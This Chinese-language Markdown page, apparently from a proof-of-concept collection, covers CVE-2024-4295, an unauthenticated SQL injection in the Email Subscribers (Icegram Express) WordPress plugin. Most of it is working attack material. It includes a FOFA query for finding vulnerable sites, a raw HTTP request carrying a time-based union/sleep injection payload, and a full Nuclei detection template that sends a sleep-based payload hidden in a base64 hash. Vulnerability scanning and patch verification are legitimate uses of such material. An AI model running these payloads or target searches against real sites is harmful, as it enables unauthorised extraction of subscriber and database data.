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96 lines
3.6 KiB
Markdown
96 lines
3.6 KiB
Markdown
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# WordPress插件Icegram-Express存在未经身份验证的SQL注入漏洞(CVE-2024-4295)
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WordPress 的 Icegram Express 插件的电子邮件订阅者在 5.7.20 及之前的所有版本中都容易通过“hash”参数受到 SQL 注入攻击，原因是对用户提供的参数转义不充分，并且对现有 SQL 缺乏充分的准备询问。 这使得未经身份验证的攻击者可以将额外的 SQL 查询附加到现有的查询中，这些查询可用于从数据库中提取敏感信息。
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## fofa
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```javascript
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body="/wp-content/plugins/email-subscribers/"
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```
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## poc
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```javascript
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POST /wp-admin/admin-post.php HTTP/1.1
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Host:
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Content-Type: application/x-www-form-urlencoded
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page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111
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```
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```javascript
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id: CVE-2024-4295
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info:
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name: Email Subscribers by Icegram Express <= 5.7.20 - Unauthenticated SQL Injection via Hash
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author: iamnoooob,rootxharsh,pdresearch
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severity: critical
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description: |
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Email Subscribers by Icegram Express <= 5.7.20 contains an unauthenticated SQL injection vulnerability via the hash parameter.
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remediation: Fixed in 5.7.21
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impact: This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
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reference:
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- https://www.wordfence.com/threat-intel/vulnerabilities/id/641123af-1ec6-4549-a58c-0a08b4678f45?source=cve
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- https://github.com/cve-2024/CVE-2024-4295-Poc
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- https://github.com/truonghuuphuc/CVE-2024-4295-Poc
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- https://nvd.nist.gov/vuln/detail/CVE-2024-4295
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2024-4295
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cwe-id: CWE-89
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epss-score: 0.00091
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epss-percentile: 0.39447
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cpe: cpe:2.3:a:icegram:email_subscribers_\&_newsletters:*:*:*:*:*:wordpress:*:*
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metadata:
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vendor: icegram
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product: email_subscribers_\&_newsletters
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framework: wordpress
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verified: true
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max-request: 1
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publicwww-query: "/wp-content/plugins/email-subscribers/"
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fofa-query: body="/wp-content/plugins/email-subscribers/"
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tags: time-based-sqli,cve,cve2024,wordpress,wp-plugin,wp,email-subscribers,sqli
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flow: http(1) && http(2)
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variables:
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contact_id: "{{contact_id}}"
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email: "{{email}}"
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rawhash: '{"message_id":0,"campaign_id":0,"contact_id":"{{contact_id}}","email":"{{email}}","guid":"dibwol-qaiebd-qvrgkp-lhyopm-rmyfzo","list_ids":["sleep(8)"],"action":"subscribe"}'
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http:
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- method: GET
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path:
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- "{{BaseURL}}"
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- "{{BaseURL}}/wp-content/plugins/email-subscribers/readme.txt"
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stop-at-first-match: true
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host-redirects: true
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max-redirects: 2
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matchers:
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- type: dsl
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dsl:
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- 'contains_any(body, "email-subscribers-", "Email Subscribers by Icegram Express")'
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internal: true
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- raw:
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- |
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@timeout: 20s
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GET /?es=optin&hash={{ base64(rawhash) }} HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- 'duration>=8'
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- 'contains(body, "You have been successfully subscribed")'
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condition: and
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```
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## 漏洞来源
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- https://github.com/projectdiscovery/nuclei-templates/blob/d7a064daf93a42628df88d043b737c7297143645/http/cves/2024/CVE-2024-4295.yaml
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- https://mp.weixin.qq.com/s/Shni_iBVEDEP2q-Ng0qcNw
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